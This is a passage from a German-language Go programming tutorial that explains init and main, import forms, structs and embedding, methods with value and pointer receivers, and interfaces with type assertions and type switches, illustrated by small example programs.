func erzeugePanic(f func()) (b bool) {
    defer func() {
        if x := recover(); x != nil {
            b = true
        }
    }()
    f() // Wenn 'f' 'panic' verursacht, wird versucht, dies mit 'recover' zu beheben 
    return
}





11.2.7 Die main und init Funktion

Go hat zwei besondere Funktionen mit dem Namen main und init, wobei init in jedem Paket aufgerufen werden kann und dies bei main nur im gleichnahmigen Paket möglich ist. Beide Funktionen besitzen weder Argumente, die übergeben werden können, noch geben sie Werte zurück. Es ist möglich, die init-Funktion innerhalb eines Pakets mehrmals aufzurufen, aber ich empfehle jedoch die Nutzung einer einzelnen, da es sonst unübersichtlich werden kann.

Go ruft init() und main() automatisch auf, sodass dies nicht manuell geschehen muss. Für jedes Paket ist die init-Funktion optional, jedoch ist die main-Funktion unter package main obligatorisch und kann lediglich ein einziges Mal genutzt werden.

Programme werden vom main-Paket aus gestarten. Wenn dieses Paket noch weitere Pakete importiert, geschieht dies einzig während der Kompilierung. Nach dem Importieren von Paketen werden zu erst dessen Konstanten und Variablen initialisiert, dann wird init aufgerufen usw. Nachdem alle Pakete erfolgreich initialisiert wurden, geschieht all dies im main-Paket. Die folgende Grafik illustriert diesen Ablauf.
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Abbildung 2.6 Der Initialisierungsablauf eines Programms in Go





11.2.8 import

Oftmals verwenden wir import in unseren Go-Programmen wie folgt.

import(
    "fmt"
)

Dann nutzen wir die Funktionen aus dem Paket wie im Beispiel:

fmt.Println("Hallo Welt")

fmt stammt aus Gos Standardbibliothek, welche sich unter $GOROOT/pkg befindet. Go unterstützt Pakete von Dritten auf zwei Wege.


	Relativer Pfad

import ./model // Importiert ein Paket aus dem selben Verzeichnis, jedoch empfehle ich diese Methode nicht.

	Absoluter Pfad

import shorturl/model // Lade das Paket mit dem Pfad “$GOPATH/pkg/shorturl/model”



Es gibt spezielle Operatoren beim Importieren von Paketen, die Anfänger oftmals verwirren.


	Punkt Operator.

Manchmal sieht man, wie Pakete auf diesem Weg importiert werden.

import(
    . "fmt"
)

Der Punkt Operator bedeutet einfach, dass der Name des Paketes beim Aufruf von dessen Funktion weggelassen werden kann. So wird aus fmt.Printf("Hallo Welt") einfach Printf("Hallo Welt").


	Alias Operation.

Dieser verändert den Namen des Paketes, denn wir beim Aufruf von Funktionen angeben müssen.

import(
    f "fmt"
)

Aus fmt.Printf("Hallo Welt") wird dann f.Printf("Hallo Welt").


	_ Operator.

Dieser Operator ist ohne Erklärung ein wenig schwer zu erklären.

import (
    "database/sql"
    _ "github.com/ziutek/mymysql/godrv"
)

Der _ Operator bedeutet einfach nur, das wir das Paket importieren möchten und das dessen init-Funktion ausgeführt werden soll. Jedoch sind wir uns nicht sicher, ob wir die anderen Funktionen dieses Pakets überhaupt nutzen wollen.








11.3 Links


	Inhaltsverzeichnis

	Vorheriger Abschnitt: Grundlagen von Go

	Nächster Abschnitt: Struct







12 2.4 Struct





12.1 Struct

Wie in anderen Programmiersprachen können wir auch in Go neue Datentypen erstellen, die als eine “Struktur” verknüpfte Eigenschaften oder Felder zusammenfasst. So können wir Beipielsweise einen neuen Datentyp person erschaffen, dessen Eingenschaften der Name und das Alter einer Person sind. Wir nennen diesen Datentyp struct.

type person struct {
        name  string
        alter int
}

Es sieht ziemlich einfach aus, ein struct zu definieren, nicht?

Es gibt insgesamt zwei Eigenschaften.


	name ist ein string und wird genutzt, um den Namen einer Person zu speichern.

	alter is vom Typ int und beinhaltet das Alter einer Person.



Schauen wir uns das einmal praktisch an.

type person struct {
        name  string
        alter int
}

var P person  // p ist vom Typ person

P.name = "Astaxie"  // Weise "Astaxie" der Eigenschaft 'name' von p zu
P.alter = 25  // Weise 25 der Eigenschaft 'alter' von p zu
fmt.Printf("Der Name der Person lautet %s\n", P.name)  // Rufe die Eigenschaft 'name' von p auf

Es gibt noch drei weitere Wege, ein Struct zu definieren.


	Weise Startwerte in der Reihenfolge der Eigenschaften zu.

P := person{"Tom", 25}


	Oder nutze das Schema Eigenschaft:Wert, um ein Struct zu erstellen, ohne dabei auf die Reihenfolge achten zu müssen.

P := person{alter:24, name:"Bob"}


	Definiere ein “anonymes” Struct und vergebe Startwerte

P := struct{name string; alter int}{"Amy",18}




Schauen wir uns das vollständige Beispiel an.

package main
import "fmt"

// Definiere einen neuen Datentyp
type person struct {
    name string
    alter int
}

// Vergleiche das Alter von zwei Personen. Dann gibt die ältere Person und den Altersunterschied zurück
// Structs werden als normaler Wert übergeben
func Älter(p1, p2 person) (person, int) {
    if p1.alter>p2.alter {  
        return p1, p1.alter-p2.alter
    }
    return p2, p2.alter-p1.alter
}

func main() {
    var tom person

    // Initialisierung
    tom.name, tom.alter = "Tom", 18

    // Initialisiere zwei Werte nach dem Schema "Eigenschaft:Wert"
    bob := person{alter:25, name:"Bob"}

    // Initialisiere die Eigenschaft nach der Reihenfolge
    paul := person{"Paul", 43}

    tb_Älter, tb_diff := Älter(tom, bob)
    tp_Älter, tp_diff := Älter(tom, paul)
    bp_Älter, bp_diff := Älter(bob, paul)

    fmt.Printf("Von %s und %s ist %s um %d Jahre älter\n", tom.name, bob.name, tb_Älter.name, tb_diff)

    fmt.Printf("Von %s und %s ist %s um %d Jahre älter\n", tom.name, paul.name, tp_Älter.name, tp_diff)

    fmt.Printf("Von %s und %s ist %s um %d Jahre älter\n", bob.name, paul.name, bp_Älter.name, bp_diff)
}





12.1.1 Eigenschaften in Structs einbetten

Soeben habe ich Dir gezeigt, wie Du ein Struct mit Eigenschaften und Datentypen definieren kannst. Aber Go unterstützt auch Eigenschaften, die keinen Namen besitzen und nur dessen Datentyp angegeben wird. Wir bezeichnen diese als eingebettete Eigenschaften.

Wenn die eingebette Eigenschaft ein weiteres Struct ist, dann all seine Eigenschaften in den Struct übertragen, in dem es eingebettet wurde.

Betrachten wir ein Beispiel.

package main
import "fmt"

type Mensch struct {
    name string
    alter int
    gewicht int
}

type Student struct {
    Mensch  // Eingebettete Eigenschaft, d.h. Student besitzt alle Eigenschaften von Mensch.
    fachgebiet string
}

func main() {
    // Initialisierng eines Studenten
    mark := Student{Mensch{"Mark", 25, 120}, "Informatik"}

    // Eigenschaften aufrufen
    fmt.Println("Sein Name lautet ", mark.name)
    fmt.Println("Sein Alter ist ", mark.alter)
    fmt.Println("Er wiegt ", mark.gewicht)
    fmt.Println("Sein Fachgebiet ist ", mark.fachgebiet)
    // Eigenschaften verändern
    mark.fachgebiet = "Künstliche Intelligenz"
    fmt.Println("Mark hat sein Fachgebiet gewechselt")
    fmt.Println("Sein Fachgebiet lautet ", mark.fachgebiet)
    // Alter ändern
    fmt.Println("Mark wurde alt")
    mark.alter = 46
    fmt.Println("Sein Alter beträgt ", mark.alter, " Jahre")
    // Gewicht ändern
    fmt.Println("Mark ist kein Athlet mehr")
    mark.gewicht += 60
    fmt.Println("Er wiegt nun", mark.gewicht)
}
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Abbildung 2.7 Einbettung von Mensch in Student

Wie Du siehst, können wir die Eigenschaften alter und name vom Typ Student genauso aufrufen, wie jene vom Typ Mensch. Genau so funktioniert das Einbetten. Ziemlich einfach, nicht wahr? Aber es gibt noch Kleinigkeit, die ich Dir zeigen möchte. Du kannst auch den Typ Mensch verwenden, um auf Eigenschaften von Student zurückzugreifen.

mark.Mensch = Mensch{"Marcus", 55, 220}
mark.Mensch.alter -= 1

In Go können alle Datenttypen eingebettet werden.

package main
import "fmt"

type Fähigkeiten []string

type Mensch struct {
    name string
    alter int
    gewicht int
}

type Student struct {
    Mensch  // Struct als eingebettete Eigenschaft
    Fähigkeiten // Slice vom Typ string als eingebettete Eigenschaft
    int    // Standard Datentyp als eingebettete Eigenschaft
    fachgebiet string
}

func main() {
    // Initialisiere Studentin Jane
    jane := Student{Mensch:Mensch{"Jane", 35, 100}, fachgebiet:"Biologie"}
    // Eigenschaften aufrufen
    fmt.Println("Ihr Name lautet ", jane.name)
    fmt.Println("Ihr Alter ist ", jane.alter)
    fmt.Println("Sie wiegt ", jane.gewicht)
    fmt.Println("Ihr Fachgebiet ist ", jane.fachgebiet)
    // Änderung des Wertes der Eigenschaft fähigkeit
    jane.Fähigkeiten = []string{"Anatomie"}
    fmt.Println("Sie besitzt folgende Fähigkeiten: ", jane.Fähigkeiten)
    fmt.Println("Sie hat zwei neue Fähigkeiten erworben ")
    jane.Fähigkeiten = append(jane.Fähigkeiten, "Physik", "Golang")
    fmt.Println("Sie besitzt nun folgende Fähigkeiten ", jane.Fähigkeiten)
    // Veränderung einer eingebetteten Eigenschaft
    jane.int = 3
    fmt.Println("Ihre bevorzugte Nummer lautet", jane.int)
}

Im oberen Beispiel ist erkenntlich, dass alle Datentypen eingebettet werden und Funktionen auf ihre Werte zugreifen können.

Aber es gibt noch ein kleines Problem. Was geschieht, wenn Mensch die Eigenschaft telefon besitzt und Student eine Eigenschaft mit dem gleichen Namen besitzt?

Go nutzt einen einfachen Weg zur Unterscheidung. Um die Eigenschaft telefon von Student zu erhalten, nutzt Du weiterhein Student.telefon. Die gleichnahmige Eigenschaft von Mensch kannst Du erhalten, indem Du Student.Mensch.telefon verwendest. Wie Du siehst, muss einfach der eingebette Datentyp vorangestellt werden. Diese Fähigkeiten wird “überladen” genannt (im Englischen overloading).

package main
import "fmt"

type Mensch struct {
    name string
    alter int
    telefon string  // Mensch hat die Eigenschaft telefon
}

type Mitarbeiter struct {
    Mensch  // Eingebetter Datentyp Mensch
    spezialisierung string
    telefon string  // Eigenschaft telefon in Mitarbeiter
}

func main() {
    Bob := Mitarbeiter{Mensch{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"}
    fmt.Println("Bobs berufliche Telefonnummer lautet ", Bob.telefon)
    // Greife auf Eigenschaft telefon in Mensch zu
    fmt.Println("Bobs private Telefonnummer lauet ", Bob.Mensch.telefon)
}





12.2 Links


	Inhaltsverzeichnis

	Vorheriger Abschnitt: Kontrollstrukturen und Funktionen

	Nächster Abschnitt: Objektorientiertes Programmieren







13 2.5 Objektorientierte Programmierung

In den letzen beiden Abschnitten hatten wir uns mit Funktionen und Structs beschäftigt, aber hast Du jemals daran gedacht, Funktionen als Eigenschaft in einem Struct zu verwenden? In diesem Abschnitt werde ich Dir eine besondere Art von Funktionen vorstellen, die einen Reciever (engl. to recieve - empfangen) besitzen. Sie werden auch Methoden genannt.





13.1 Methoden

Sagen wir, Du definierst einen Struct mit dem Namen “Rechteck” und möchtest die Fläche ausrechnen. Normalerweise würden wir folgenden Code verwenden, um dies zu bewerkstelligen.

package main
import "fmt"

type Rechteck struct {
    breite, höhe float64
}

func Fläche(r Rechteck) float64 {
    return r.breite*r.höhe
}

func main() {
    r1 := Rechteck{12, 2}
    r2 := Rechteck{9, 4}
    fmt.Println("Fläche von r1: ", Fläche(r1))
    fmt.Println("Fläche von r2: ", Fläche(r2))
}

Das obere Beispiel kann die Fläche eines Rechtecks ermitteln. Dafür haben wir die Funktion Fläche() verwendet, aber es ist keine Methode des Structs Rechteck (welche mit einer Klasse in klassischen objektorientierten Sprachen wären). Die Funktion und der Struct sind voneinander unabhängig.

Soweit ist dies noch kein Problem. Wenn Du aber den Flächeninhalt eines Kreies, Quadrahts, Fünfecks oder einer anderen Form berechnen musst, brauchst Du dafür Funktionen mit einem sehr ähnlichen Namen,
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Abbildung 2.8 Beziehung zwischen Funktionen und Structs

Offensichtlich ist dies nicht sehr praktisch. Auch sollte die Fläche eine Eigenschaft des Kreises oder Rechtecks sein.

Aus diesem Grund gibt es das Konzept der Methoden. Diese sind immer mit einem Datentyp verbunden. Sie haben den selben Syntax wie normale Funktionen, jedoch besitzen sie einen weiteren Parameter nach dem Schlüsselwort func, den Reciever.

Im selben Beispiel würde mit Rechteck.Fläche() die Methode des Structs Rechteck aufgerufen. Somit gehören länge, breite und Fläche() zum Struct.

Wie Rob Pike sagte:

"A method is a function with an implicit first argument, called a receiver."

"Eine Methode ist eine Funktion mit einem ersten, impliziten Argument, welches Reciever genannt wird."

Syntax einer Methode.

func (r RecieverTyp) funcName(Parameter) (Ergebnis)

Lass uns das Beispiel von vorhin umschreiben.

package main
import (
    "fmt"
    "math"
)

type Rechteck struct {
    breite, höhe float64
}

type Kreis struct {
    radius float64
}

func (r Rechteck) fläche() float64 {
    return r.breite*r.höhe
}

func (c Kreis) fläche() float64 {
    return c.radius * c.radius * math.Pi
}

func main() {
    r1 := Rechteck{12, 2}
    r2 := Rechteck{9, 4}
    c1 := Kreis{10}
    c2 := Kreis{25}

    fmt.Println("Fläche von r1 ist: ", r1.fläche())
    fmt.Println("Fläche von r2 ist: ", r2.fläche())
    fmt.Println("Fläche von c1 ist: ", c1.fläche())
    fmt.Println("Fläche von c2 ist: ", c2.fläche())
}

Anmerkungen zu der Nutzung von Methoden.


	Beide Methoden haben den selben Namen, gehören jedoch verschiedenen Recievern an.

	Methoden können auf die Eigenschaften des Recievers zugreifen.

	Nutze ., um Methoden wie Eigenschaften aufzurufen.



[image: ]

Abbildung 2.9 Die Methoden sind in jedem Struct verschieden

Im oberen Beispiel ist die Methode Fläche() für Rechteck und Kreis zugänglich, sodass sie zwei verschiedene Reciever besitzt.

Bei der Nutzung von Methoden werden dieser Kopien der Werte eines Structs übergeben. Fläche() bekommt also nicht einen Zeiger zum Original übergeben, sondern nur eine Kopie dessen. Somit kann das Orginal nicht verändert werden. Ein * vor dem Reciver übergibt dageben den Zeiger und erlaubt damit auch Zugriff auf das Original.

Können Reciever nur in Verbindung mit Structs genutzt werden? Natürlich nicht. Jeder Datentyp kann als Reciever fungieren. Dies wird Dir vielleicht bei selbstdefinierten Datentypen etwas komisch vorkommen, aber mit den Structs haben wir das Selbe gemacht - einen eigenen Datentypen erstellt.

Das Folgende Schema kann genutzt werden, um einen neuen Datentypen zu definieren.

type Name Datentyp

Beispiele für selbstdefinierte Datentypen:

type alter int

type geld float32

type monate map[string]int

m := monate {
    "Januar":31,
    "Februar":28,
    ...
    "Dezember":31,
}

Ich hoffe, dass Du die Definition eigener Datentypen jetzt verstanden hast. Es ist typedef aus C sehr ähnlich. Im oberen Beispiel ersetzen wir int einfach durch alter.

Kommen wir zurück zu unseren Methoden.

Du kannst soviele Datentypen und dazugehörige Methoden erstellen, wie Du willst.

package main
import "fmt"

const(
    WEISS = iota
    SCHWARZ
    BLAU
    ROT
    GELB
)

type Farbe byte

type Box struct {
    breite, höhe, tiefe float64
    farbe Farbe
}

type BoxListe []Box // Ein Slice mit Elementen vom Typ Box

func (b Box) Volumen() float64 {
    return b.breite * b.höhe * b.tiefe
}

func (b *Box) SetzeFarbe(c Farbe) {
    b.farbe = c
}

func (bl BoxListe) HöchsteFarbe() Farbe {
    v := 0.00
    k := Farbe(WEISS)
    for _, b := range bl {
        if b.Volumen() > v {
            v = b.Volumen()
            k = b.farbe
        }
    }
    return k
}

func (bl BoxListe) MaleAlleSchwarzAn() {
    for i, _ := range bl {
        bl[i].SetzeFarbe(SCHWARZ)
    }
}

func (c Farbe) String() string {
    strings := []string {"WEISS", "SCHWARZ", "BLAU", "ROT", "GELB"}
    return strings[c]
}

func main() {
    boxes := BoxListe {
        Box{4, 4, 4, ROT},
        Box{10, 10, 1, GELB},
        Box{1, 1, 20, SCHWARZ},
        Box{10, 10, 1, BLAU},
        Box{10, 30, 1, WEISS},
        Box{20, 20, 20, GELB},
    }

    fmt.Printf("Wir haben %d Boxen in unserer Liste\n", len(boxes))
    fmt.Println("Das Volumen der Ersten beträgt ", boxes[0].Volumen(), "cm³")
    fmt.Println("Die Farbe der letzen Box ist",boxes[len(boxes)-1].farbe.String())
    fmt.Println("Die größte Box ist ", boxes.HöchsteFarbe().String())

    fmt.Println("Malen wir sie alle schwarz an")
    boxes.MaleAlleSchwarzAn()
    fmt.Println("Die Farbe der zweiten Box lautet ", boxes[1].farbe.String())

    fmt.Println("Offensichtlich ist die größte Box ", boxes.HöchsteFarbe().String())
}

Wir hatten ein paar Konstanten und selbstdefinierte Datentypen erstellt.


	Nutze Farbe als Alias für byte.

	Wir definierten den Struct Box mit den Eigenschaften breite, länge, tiefe und farbe.

	Wir definierten einen Slice BoxListe mit Elementen vom Typ Box.



Dann haben wir Methoden für unsere selbsterstellten Datentypen hinzugefügt.


	Volumen() nutzt Box als Reciever und gibt das Volumen einer Box.

	SetzeFarbe(c Farbe) ändert die Farbe einer Box.

	GrößteFarbe() gibt die Box mit dem größten Volumen zurück.

	MaleAlleSchwarzAn() setzt die Farbe aller Boxen auf schwarz.

	String() benutzt Farbe als Reciever und gibt den Farbnamen als String zurück.



Ist es nicht einfacher, Wörter zum Beschreiben unserer Anforderungen zu benutzen? Oftmals definieren wir unsere Anforderungen schon vor dem Programmieren.





13.1.1 Zeiger als Reciever

Werfen wir einen näheren Blick auf die Methode SetzeFarbe(). Ihr Reciever ist der Zeiger mit dem Verweis zu einer Box. Warum benutzen wir hier einen Zeiger? Wie bereits erwähnt, erhälst Du mit *Box Zugriff auf das Original und kannst es somit ändern. Nützten wir keinen Zeiger, so hätte die Methode nur eine Kopie des Wertes übergeben bekommen.

Wenn wir einen Reciever als ersten Parameter einer Methode sehen, dürfte ihr Zweck leicht zu verstehen sein.

Du fragst Dich bestimmt, warum wir nicht einfach (*b).Farbe=c verwenden, statt b.Color=c in der SetzeFarbe() Methode. Beide Wege sind OK und Go weiß die erste Zuweisung zu interpretieren. Findest Du Go nun nicht auch faszinierend?

Des Weiteren fragst Du dich vielleicht auch, warum wir nicht (&bl[i]).SetzeFarbe(BLACK) in MaleAlleSchwarzAn() nutzen, so wie es in SetzeFarbe() der Fall ist. Nochmals, beide Varianten sind OK und Go weiß damit umzugehen.





13.1.2 Vererbung von Methoden

Wir haben die Vererbung bzw. das Einbetten von Eigengeschaften bereits im letzen Abschnitt kennengelernt. Ähnlich funktioniert auch das Einbetten von Methoden. Wenn ein Struct eigene Methoden hat und es in ein weiteres Struct eingebettet wird, so werden die Methoden wie die Eigenschaften mit eingebettet, also vererbt.

package main
import "fmt"

type Mensch struct {
    name string
    alter int
    telefon string
}

type Student struct {
    Mensch // Eingebetter Struct als Eigenschaft ohne Namen
    schule string
}

type Mitarbeiter struct {
    Mensch 
    unternehmen string
}

// Definiere eine Methode für Mensch
func (h *Mensch) SagHallo() {
    fmt.Printf("Hallo, ich bin %s. Du erreichst mich unter %s\n", h.name, h.telefon)
}

func main() {
    mark := Student{Mensch{"Mark", 25, "222-222-YYYY"}, "MIT"}
    sam := Mitarbeiter{Mensch{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}

    mark.SagHallo()
    sam.SagHallo()
}





13.1.3 Das Überladen von Methoden

Wenn wir für Mitarbeiter eine eigene Methode SagHallo() erstellen wollen, wird die Methode SagHallo() von Mensch durch die von Mitarbeiter überladen.

package main
import "fmt"

type Mensch struct {
    name string
    alter int
    telefon string
}

type Student struct {
    Mensch 
    schule string
}

type Mitarbeiter struct {
    Mensch 
    unternehmen string
}

func (h *Mensch) SagHallo() {
    fmt.Printf("Hallo, ich bin %s und Du erreicht mich unter %s\n", h.name, h.telefon)
}

func (e *Mitarbeiter) SagHallo() {
    fmt.Printf("Hallo, ich bin %s, arbeite bei %s. Du erreicht mich unter %s\n", e.name,
        e.unternehmen, e.telefon) // Du kannst die Argumente auch auf zwei Zeilen verteilen.
}

func main() {
    mark := Student{Mensch{"Mark", 25, "222-222-YYYY"}, "MIT"}
    sam := Mitarbeiter{Mensch{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}

    mark.SagHallo()
    sam.SagHallo()
}

Nun bist Du bereit, Dein eigenes, objektorientiers Programm zu schreiben. Auch Methoden unterliegen der Regel, dass die Groß- und Kleinschreibung des ersten Buchstaben über die Sichtbarkeit (öffentlich oder privat) entscheidet.





13.2 Links


	Inhaltsverzeichnis

	Vorheriger Abschnitt: Struct

	Nächster Abschnitt: Interface







14 2.6 Interfaces





14.1 Interface

Eines der besten Sprachmerkmale von Go sind Interfaces. Nach dem Lesen dieses Abschnitts wirst Du über dessen Implementation staunen.





14.1.1 Was ist ein Interface

Kurz gesagt, ein Interface dient der Zusammenfassung von Funktionen, die durch ihren ähnlichen Aufbau eine Beziehung zueinander haben.

Wie im Beispiel aus dem letzten Abschnitt haben Student und Mitarbeiter hier beide die Methode SagHallo(), welche sich ähnlich, aber nicht gleich verhalten.

Machen wir uns wieder an die Arbeit, indem wir beiden Structs die Methode Singen() hinzufügen. Zudem erweitern wir Student um die Methode GeldLeihen() und Mitarbeiter um die Methode GehaltAusgeben().

Nun besitzt Student die drei Methoden SagHallo(), Singen() und GeldLeihen() und Mitarbeiter SagHallo(), Singen() sowie GehaltAusgeben().

Diese Kombination von Methoden wird Interface genannt und umfasst sowohl Student als auch Mitarbeiter. Somit besitzen beide Datentypen die Interfaces SagHallo() und Singen(). Jedoch implementieren beide Datentypen keine gemeinsames Interfaces für GeldLeihen() und GehaltAusgeben(), da diese Methoden nicht für beide Structs definiert wurden.





14.1.2 Interface als Datentyp

Ein Interface definiert eine Liste von Methoden. Besitzt ein Datentyp alle Methoden, die das Interface definiert, so umfasst das Interface diesen Datentypen. Schauen wir uns ein Beispiel zur Verdeutlichung an.

type Mensch struct {
    name    string
    alter   int
    telefon string
}

type Student struct {
    Mensch
    schule string
    kredit float32
}

type Mitarbeiter struct {
    Mensch
    unternehmen string
    geld        float32
}

func (m *Mensch) SagHallo() {
    fmt.Printf("Hallo, ich bin %s und Du erreichst mich unter %s\n", m.name, m.telefon)
}

func (m *Mensch) Singen(liedtext string) {
    fmt.Println("La la, la la la, la la la la la...", liedtext)
}

func (m *Mensch) SichBetrinken(bierkrug string) {
    fmt.Println("schluck schluck schluck...", bierkrug)
}

// Mitarbeiter "überlädt" SagHallo
func (m *Mitarbeiter) SagHallo() {
    fmt.Printf("Hallo, ich bin %s und arbeite bei %s. Ruf mich unter der Nummer %s an\n", m.name,
        m.unternehmen, m.telefon) // Du kannst die Argumente auch auf zwei Zweilen aufteilen.
}

func (s *Student) GeldLeihen(betrag float32) {
    s.kredit += betrag // (immer und immer wieder...)
}

func (m *Mitarbeiter) GehaltAusgeben(betrag float32) {
    m.geld -= betrag // Einen Vodka bitte!!! Bring mich durch den Tag!
}

// Das Interface definieren
type Männer interface {
    SagHallo()
    Singe(liedtext string)
    SichBetrinken(bierkrug string)
}

type JungerMann interface {
    SagHallo()
    Singe(liedtext string)
    GeldLeihen(betrag float32)
}

type Greis interface {
    SagHallo()
    Singe(liedtext string)
    GeldAusgeben(betrag float32)
}

Wir wissen, dass ein Interface von jedem Datentypen implementiert werden und ein Datentyp viele Interfaces umfassen kann.

Zudem implementiert jeder Datentyp das leere Interface interface{}, da es keine Methoden definiert und alle Datentypen von Beginn an keine Methoden besitzen.





14.1.3 Interface als Datentyp

Welche Arten von Werten können mit einem Interface verknüpft werden? Wen wir eine Variable vom Typ Interface definieren, dann kann jeder Datentyp, der das Interface implementiert, der Variable zugewiesen werden.

Es ist wie im oberen Beispiel. Erstellen wir eine Variable “m” mit dem Interface Männer, kann jeder Student, Mensch oder Mitarbeiter “m” zugewiesen werden. So könnten wir ein Slice mit dem Interface Männer jeden Datentyp hinzufügen, der ebenfalls das Interface Männer implementiert. Bedenke aber, dass sich das Verhalten von Slices ändert, wenn dies Elemente eines Interface statt eines Datentypes verwendet.

package main

import "fmt"

type Mensch struct {
    name    string
    alter   int
    telefon string
}

type Student struct {
    Mensch
    schule string
    geld   float32
}

type Mitarbeiter struct {
    Mensch
    unternehmen string
    geld        float32
}

func (m Mensch) SagHallo() {
    fmt.Printf("Hallo, ich bin %s und Du erreicht mich unter %s\n", m.name, m.telefon)
}

func (m Mensch) Singe(liedtext string) {
    fmt.Println("La la la la...", liedtext)
}

func (m Mitarbeiter) SagHallo() {
    fmt.Printf("Hallo, ich bin %s und arbeite bei %s. Rufe mich unter der Nummer %s an\n", m.name,
        m.unternehmen, m.telefon) // Du kannst die Argumente auch auf zwei Zweilen aufteilen.
}

// Das Interface Männer wird von Mensch, Student und Mitarbeiter implementiert
type Männer interface {
    SagHallo()
    Singe(liedtext string)
}

func main() {
    mike := Student{Mensch{"Mike", 25, "222-222-XXX"}, "MIT", 0.00}
    paul := Student{Mensch{"Paul", 26, "111-222-XXX"}, "Harvard", 100}
    sam := Mitarbeiter{Mensch{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000}
    tom := Mitarbeiter{Mensch{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000}

    // Definiere i vom Typ Interface Männer
    var i Männer

    // i kann Studenten zugewiesen bekommen
    i = mike
    fmt.Println("Das ist Mike, ein Student:")
    i.SagHallo()
    i.Singe("November rain")

    // i kann auch Mitarbeiter zugewiesen bekommen
    i = tom
    fmt.Println("Das ist Tom, ein Mitarbeiter:")
    i.SagHallo()
    i.Singe("Born to be wild")

    // Slice mit Männern
    fmt.Println("Nutzen wir einen Slice vom Typ Männer und schauen, was passiert")
    x := make([]Männer, 3)
    // Alle drei Variablen haben verschiedene Datentypen, implentieren aber das selbe Interface
    x[0], x[1], x[2] = paul, sam, mike

    for _, wert := range x {
        wert.SagHallo()
    }
}

Ein Interface ist eine Ansammlung von abstrakten Methoden, das jeder Datentypen implementieren kann, die noch nicht Teil des Interfaces sind. Daher kann es sich nicht selbst implemetieren





14.1.4 Leeres Interface

Ein leeres Interfaces umfasst keine Methoden, sodass alle Datentypen dieses Interface implementieren. Dies ist sehr nützlich, wenn wir irgendwann alle Datentypen speichern möchten. Es ist void* aus C sehr ähnlich.

// Definition eines leeren Interfaces
var a interface{}
var i int = 5
s := "Hallo Welt"
// a kann jeder Datentyp zugewiesen werden
a = i
a = s

Wenn eine Funktion ein leeres Interface als Argumenttyp verwendet, wird jeder Datentyp akzeptiert. Gleiches gilt für den Rückgabewert einer Funktion.





14.1.5 Ein Interface als Methodenargument

Jede Variable kann mit einem Interface genutzt werden. Aber wie können wir diese Eigenschaft nutzen, um einen beliebigen Datentyp einer Funktion zu übergeben?

Zum Beispiel nutzen wir fmt.Println sehr oft, aber hast Du jemals gemerkt, dass jeder Datentyp verwendet werden kann? Werfen wir mal einen Blick auf den open-source Code von fmt. Wir sehen die folgende Definition der Funktion.

type Stringer interface {
        String() string
}

Dies bedeutet, dass jeder Datentyp, der das Interface Stringer implementiert, fmt.Println übergeben werden kann. Beweisen wir es.

package main

import (
    "fmt"
    "strconv"
)

type Mensch struct {
    name    string
    alter   int
    telefon string
}

// Mensch implementiert fmt.Stringer
func (m Mensch) String() string {
    return "Name:" + m.name + ", Alter:" + strconv.Itoa(m.alter) + " Jahre, Kontakt:" + m.telefon
}

func main() {
    Bob := Mensch{"Bob", 39, "000-7777-XXX"}
    fmt.Println("Dieser Mensch ist: ", Bob)
}

Werfen wir nochmal einen Blick auf das Beispiel mit den Boxen von vorhin. Du wirst feststellen, dass der Datentyp Farbe ebenfalls das Interface Stringer definiert, sodass wir die Ausgabe formatieren können. Würden wir dies nicht tun, nutzt fmt.Println() die Standardformatierung.

fmt.Println("Die größte Box ist", boxen.HöchsteFarbe().String())
fmt.Println("Die größte Box ist", boxen.HöchsteFarbe())

Achtung: Wenn Du das Interface error implementierst, wird fmt error() ausrufen, sodass Du ab hier Stringer noch nicht definieren brauchst.





14.1.6 Datentyp eines Interfaces bestimmen

Wir wissen, dass einer Variable jeder Datentyp zugewiesen werden kann, der ein Interface mit dem originalen Datentypen teilt. Nun stellt sich die Frage, wie wir den genauen Datentypen einer Variable bestimmen können. Hierfür gibt es zwei Wege, die ich Dir zeigen möchte.


	Überprüfung nach dem Komma-ok-Muster



Der in Go übliche Syntax lautet value, ok := element.(T). Er überprüft, ob eine Variable vom erwarteten Datentypen ist. “value” ist der Wert der Variable,“ok” ist vom Typ Boolean, “element” ist eine Interfacevariable und T der zu überprüfende Datentyp.

Wenn das Element dem erwarteten Datentypen entspricht, wird ok auf true gesetzt. Anderfalls ist er false.

Veranschaulichen wir dies anhand eines Beispiels.

package main

import (
    "fmt"
    "strconv"
)

type Element interface{}
type Liste []Element

type Person struct {
    name   string
    alter  int
}

func (p Person) String() string {
    return "(Name: " + p.name + " - Alter:  " + strconv.Itoa(p.alter) + " Jahre)"
}

func main() {
    liste := make(Liste, 3)
    liste[0] = 1       // ein Integer
    liste[1] = "Hallo" // ein String
    liste[2] = Person{"Dennis", 70}

    for index, element := range liste {
        if value, ok := element.(int); ok {
            fmt.Printf("liste[%d] ist ein Integer mit dem Wert %d\n", index, value)
        } else if value, ok := element.(string); ok {
            fmt.Printf("liste[%d] ist ein String mit dem Wert %s\n", index, value)
        } else if value, ok := element.(Person); ok {
            fmt.Printf("liste[%d] ist eine Person mit dem Wert %s\n", index, value)
        } else {
            fmt.Printf("liste[%d] hat einen anderen Datentyp\n", index)
        }
    }
}

Dieses Muster ist sehr einfach anzuwenden, aber wenn wir viele Datentypen zu bestimmen haben, sollten wir besser switch benutzen.


	Überprüfung mit switch



Machen wir von switch gebrauch und schreiben unser Beispiel um.

package main

import (
    "fmt"
    "strconv"
)

type Element interface{}
type Liste []Element

type Person struct {
    name   string
    alter  int
}

func (p Person) String() string {
    return "(Name: " + p.name + " - Alter: " + strconv.Itoa(p.alter) + " Jahre)"
}

func main() {
    liste := make(Liste, 3)
    liste[0] = 1       // Ein Integer
    liste[1] = "Hello" // Ein String
    liste[2] = Person{"Dennis", 70}

    for index, element := range liste {
        switch value := element.(type) {
        case int:
            fmt.Printf("liste[%d] ein Integer mit dem Wert %d\n", index, value)
        case string:
            fmt.Printf("liste[%d] ist ein String mit dem Wert %s\n", index, value)
        case Person:
            fmt.Printf("liste[%d] ist eine Person mit dem Wert %s\n", index, value)
        default:
            fmt.Println("liste[%d] hat einen anderen Datentyp", index)
        }
    }
}

Eine Sache, die Du bedenken solltest, ist, dass element.(type) nur in Kombination mit switch genutzt werden kann. Andernfalls musst Du auf das Komma-ok-Muster zurückgreifen.





14.1.7 Eingebettete Interfaces

